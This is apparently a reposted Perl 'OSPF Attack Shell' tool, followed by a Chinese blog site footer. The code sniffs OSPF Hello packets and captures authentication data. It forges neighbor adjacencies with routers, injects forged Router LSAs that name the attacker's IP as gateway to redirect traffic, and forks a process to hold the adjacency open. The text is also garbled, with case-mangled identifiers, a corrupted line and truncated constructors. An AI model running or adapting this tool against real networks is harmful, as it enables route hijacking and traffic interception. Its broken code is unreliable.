#
# $ID: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings; our $VERSION = '0.16'; use Net::Frame::Device;
use Net::Frame::Dump::Online; use Net::Frame::Simple;
use Net::Write::Layer2; use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa; use Data::Dumper;
use Term::Readline;
use Time::HiRes qw(gettimeofday); our $oDevice;
our $oWrite; # To store OSPF parameters (areaID,...)
our $Env = {
routerPri => 1,
lsAge => 200,
areaID => undef,
networkMask => undef,
dr => undef,
bdr => undef,
neighborList => [],
_neighbors => [],
state => 'start',
}; # Will store ARP cache table
our $Mac = {}; sub init {
my ($dev,$src,$mac) = @_; if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
else { $oDevice = Net::Frame::Device->new }
$oDevice->ip($src) if $src;
$oDevice->mac($mac) if $mac; print "\n -- OSPF Attack Shell - $VERSION --\n\n";
print "Using device : ".$oDevice->dev."\n";
print "Using source IP : ".$oDevice->ip. "\n";
print "Using source MAC: ".$oDevice->mac."\n"; $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
$oWrite->open;
} sub help {
"You can use the following functions:\n".
" Listen() wait for an OSPF Hello frame,get varIoUs variables\n".
" exchange() become an OSPF neighbor with all available routers\n".
" lock() keep regularly sending Hello frames\n".
" lsu_router(NETWORK,MASK) inject a LSA Router\n".
"";
} sub _dumpCallListen {
my ($h,$data) = @_;
my $f = Net::Frame::Simple->newFromDump($h);
if ($f->ref->{'OSPF'}) {
my $packet = $f->ref->{'OSPF'}->packet;
if ($packet->layer eq 'OSPF::Hello') {
my $dr = $packet->designatedRouter
if $packet->designatedRouter;
my $bdr = $packet->backupDesignatedRouter
if $packet->backupDesignatedRouter;
my @nl;
for ($packet->neighborList) {
push @nl,$_ unless /^0.0.0.0$/;
} # If there is only a DR,we add it to neighborList
if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl,$dr; } print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
print "Found: DR : $dr\n" if $dr;
print "Found: BDR: $bdr\n" if $bdr;
print "Found: neighborList: @nl\n" if @nl;
$Env->{dr} = $dr if $dr;
$Env->{bdr} = $bdr if $bdr;
$Env->{neighborList} = \@nl if @nl;
$Env->{helloInterval} = $packet->helloInterval
if $packet->helloInterval;
$Env->{routerDeadInterval} = $packet->routerDeadInterval
if $packet->routerDeadInterval;
$Env->{networkMask} = $packet->networkMask
if $packet->networkMask;
$Env->{areaID} = $f->ref->{'OSPF'}->areaID
if $f->ref->{'OSPF'}->areaID; $Env->{authType} = $f->ref->{'OSPF'}->authType
if $f->ref->{'OSPF'}->authType;
$Env->{authData} = $f->ref->{'OSPF'}->authData
if $f->ref->{'OSPF'}->authData; printf "AuthType: 0x%02d\n",$Env->{authType}
if $Env->{authType};
printf "AuthData: %s\n",$Env->{authData}
if $Env->{authData}; $data->stop;
}
}
} sub _updateNeighbors {
my %neighbor;
$neighbor{$Env->{dr}} = '' if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/);
$neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
for (@{$Env->{neighborList}}) {
#next if /^0.0.0.0$/;
#next if /^@{[$oDevice->ip]}$/ ;
$neighbor{$_} = '';
}
for (keys %neighbor) {
delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/ );
}
$Env->{_neighbors} = [ keys %neighbor ];
} sub Listen {
# Flush $Env vars
$Env->{dr} = undef;
$Env->{bdr} = undef;
$Env->{neighborList} = [];
$Env->{authType} = undef;
$Env->{authData} = undef; my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
);
$oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
$oDump->onRecv(\&_dumpCallListen);
$oDump->onRecvData($oDump);
$oDump->start; if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
}
if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
} _updateNeighbors();
} sub _ospfSend1 {
my ($f) = @_;
$f->send($oWrite);
} sub _ospfSend {
my ($f,$oDump,$recvFrom) = @_;
my $recv;
for (1..2) { # Two retrIEs
$f->send($oWrite);
until ($oDump->timeout) {
if ($recv = $f->recv($oDump)) {
my $dst = $f->ref->{'IPv4'}->dst;
my $src = $recv->ref->{'IPv4'}->src;
if ($recvFrom && ($src eq $recvFrom)) {
last;
}
elsif ($dst eq '224.0.0.5' || $dst eq $src) {
last;
}
$recv = undef;
}
}
$oDump->timeoutreset;
last if $recv;
}
$recv;
} sub _getEthHdr {
my ($dst) = @_;
my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
Net::Frame::Layer::ETH->new(
src=\'#\'" $oDevice->mac,
dst => $mac || NF_ETH_ADDR_broADCAST,
);
} sub _getIpHdr {
my ($src,$dst) = @_;
Net::Frame::Layer::IPv4->new(
noFixLen => 1,
ttl => 1,
src => $src,
dst => $dst || '224.0.0.5',
protocol => NF_IPv4_PROTOCol_OSPF,
);
} sub _getospfhello {
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_HELLO,
routerID => $oDevice->ip,
areaID => $Env->{areaID},
authType => $Env->{authType},
authData => $Env->{authData},
); my $ospfhello = Net::Frame::Layer::OSPF::Hello->new(
networkMask => $Env->{networkMask},
helloInterval => $Env->{helloInterval},
options => NF_OSPF_HELLO_OPTIONS_E,
routerPri => $Env->{routerPri},
routerDeadInterval => $Env->{routerDeadInterval},
designatedRouter => $Env->{dr},
backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
neighborList => $Env->{neighborList},
);
$ospf->packet($ospfhello);
$ospf->computeLengths;
$ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth,$ip,$ospf ]);
} sub _getospfdbd {
my ($router,$flags,$seqnum,$lsa) = @_; my $eth = _getEthHdr($router);
my $ip = _getIpHdr($oDevice->ip,$router); my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_DATABASEDESC,
); my $ospfdbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
ddSequenceNumber => $seqnum || 4300,
options =>
NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
flags => $flags ||
(NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
NF_OSPF_DATABASEDESC_FLAGS_MS),
);
$ospf->packet($ospfdbd);
$ospf->computeLengths;
$ospf->computeChecksums; $ip->length($ip->length + $ospf->length); $ospf->packet->lsaList([ $lsa ]) if $lsa; Net::Frame::Simple->new(layers => [ $eth,$ospf,]);
} sub _getLsaRouterheader {
Net::Frame::Layer::OSPF::Lsa->new(
lsAge => 92,
options => 0x02,
lsType => 0x01,
linkStateID => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => 1,
);
} sub exchange {
my ($router) = @_; my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
timeoutOnNext => 2,
);
$oDump->filter('ip proto 0x59');
$oDump->start; my $ospfhelloReply = _ospfSend(_getospfhello(),$router); dIE("No router Listens") unless $ospfhelloReply;
# We are in ExStart state for (@{$Env->{_neighbors}}) {
next if /^0.0.0.0$/; # Then,DR sends DBD,we reply the same DBD
my $ospfdbd = _getospfdbd($_);
my $ospfdbdReply = _ospfSend($ospfdbd,$oDump); if (! $ospfdbdReply) {
warn("$_: No DBD reply");
next;
}
# We are in Exchange state # Now is Exchange state,we reply with received ddSeqNum + 1,flags M|MS,
# and our Router-LSA header
my $seqnum = $ospfdbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
my $flags = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
my $lsaRouter = _getLsaRouterheader();
my $ospfdbd2 = _getospfdbd($_,$lsaRouter);
my $ospfdbd2Reply = _ospfSend($ospfdbd2,$oDump); if (! $ospfdbd2Reply) {
warn("$_: No DBD2 reply");
next;
} # Last step before LS exchange,we reply to the "empty" request with
# ddSeqNum +1,flags MS only
$seqnum = $ospfdbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
$flags = NF_OSPF_DATABASEDESC_FLAGS_MS;
my $ospfdbd3 = _getospfdbd($_,$seqnum);
my $ospfdbd3Reply = _ospfSend($ospfdbd3,$oDump); if (! $ospfdbd3Reply) {
warn("$_: No DBD3 reply");
next;
} print "$_: exchange complete\n";
} # If there were no BDR,we are the new one
if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
$Env->{bdr} = $oDevice->ip;
} _updateNeighbors();
$Env->{neighborList} = [ @{$Env->{_neighbors}} ];
push @{$Env->{neighborList}},$oDevice->ip; $oDump->stop;
} sub _getLsuNetwork {
my ($linkStateID,$router,$netmask) = @_; my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_linkSTATEUPDATE,
); my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
lsAge => $Env->{lsAge},
options => 0x02,
lsType => 0x02,
linkStateID => $linkStateID || $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
); my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
netmask => $netmask,
routerList => [ $router,],
); $lsa->lsa($lsaNetwork);
$lsa->computeLengths;
$lsa->computeChecksums; my $ospfLsu = Net::Frame::Layer::OSPF::linkStateUpdate->new(
lsaNumber => 1,
lsaList => [ $lsa ],
); $ospf->packet($ospfLsu);
$ospf->computeLengths;
$ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth,$ospf ]);
} sub _getLsuRouter {
my ($network,$mask) = @_; my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_linkSTATEUPDATE,
options => 0x22,
lsType => 0x01,
); my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
flags => 0,
); # To correctly send a router,we must first advertise the network/mask
# In a stub network (type 0x03)
my @linkList = ();
push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::link->new(
linkID => $network,
linkData => $mask,
type => 0x03,
nTos => 0,
metric => 10,
); # Then,we MUST say which is the gateway,to the DR
# Here,we say the gateway is our IP address to redirect
# trafic to us.
push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::link->new(
linkID => $Env->{dr},
linkData => $oDevice->ip,
type => 0x02,
); $lsaRouter->nlink(scalar @linkList);
$lsaRouter->linkList(\@linkList); $lsa->lsa($lsaRouter);
$lsa->computeLengths;
$lsa->computeChecksums; my $ospfLsu = Net::Frame::Layer::OSPF::linkStateUpdate->new(
lsaNumber => 1,$ospf ]);
} sub lsu_network {
my ($linkStateID,$netmask) = @_; my $lsu = _getLsuNetwork($linkStateID,$netmask);
_ospfSend1($lsu);
} sub lsu_router {
my ($network,$mask) = @_; my $lsu = _getLsuRouter($network,$mask);
_ospfSend1($lsu);
} sub _getLsaAck {
my ($request) = @_; my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip); my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_linkSTATEACK,
); my $raw = '';
for ($request->lsaList) {
$_->lsa(undef);
$raw .= $_->pack;
} $ospf->packet($raw);
$ospf->computeLengths;
$ospf->computeChecksums; $ip->length($ip->length + $ospf->length); Net::Frame::Simple->new(layers => [ $eth,]);
} sub _dumpCallOnRecv {
my ($h,$data) = @_;
my $frame = Net::Frame::Simple->newFromDump($h);
if ($frame->ref->{'OSPF'}) {
my $packet = $frame->ref->{'OSPF'}->packet;
if ($packet) {
# If a LSU frame is seen,we must ackNowledge it
if ($packet->layer eq 'OSPF::linkStateUpdate') {
_ospfSend1(_getLsaAck($packet));
}
# If a Hello frame is seen,we send one,to keep behing in neighborhood
elsif ($packet->layer eq 'OSPF::Hello') {
_ospfSend1(_getospfhello());
}
}
}
} sub lock {
my $pID = fork();
dIE("fork: $!") unless defined($pID);
if ($pID) { # Parent process
return 1;
}
else { # Child process
close(STDIN);
close(STDOUT);
close(STDERR);
my $oDumpChild = Net::Frame::Dump::Online->new(
overwrite => 1,
promisc => 1,
dev => $oDevice->dev,
filter => 'ip proto 0x59 '.
'and not src host '.$oDevice->ip,
onRecv => \&_dumpCallOnRecv,
);
$oDumpChild->start;
$oDumpChild->stop;
exit(0);
}
} sub ash {
my ($dev,$mac) = @_; init($dev,$mac); my $prompt = 'ash> ';
my $name = 'ASH';
my $term = Term::Readline->new($name);
$term->ornaments(0); {
no strict; while (1) {
if (my $line = $term->readline($prompt)) {
$line =~ s/^\s*Listen\s*$/Net::Attack::OSPF::Listen/;
eval($line);
warn($@) if $@;
print "\n";
}
}
} print "\n";
} 1; package main; my $dev = shift;
my $src = shift;
my $mac = shift; Net::Attack::OSPF::ash($dev,$mac); 1; __END__ =head1 name ospf-ash - Net::Frame based OSPF Attack Shell tool =head1 AUTHOR Patrice E<lt>GomoRE<gt> Auffret =head1 copYRIGHT AND liCENSE copyright (c) 2007,Patrice E<lt>GomoRE<gt> Auffret You may distribute this module under the terms of the Artistic license.
See liCENSE.Artistic file in the source distribution archive. =cut
待续。。。 总结
以上是内存溢出为你收集整理的OSPF协议栈的perl 脚本实现!全部内容,希望文章能够帮你解决OSPF协议栈的perl 脚本实现!所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)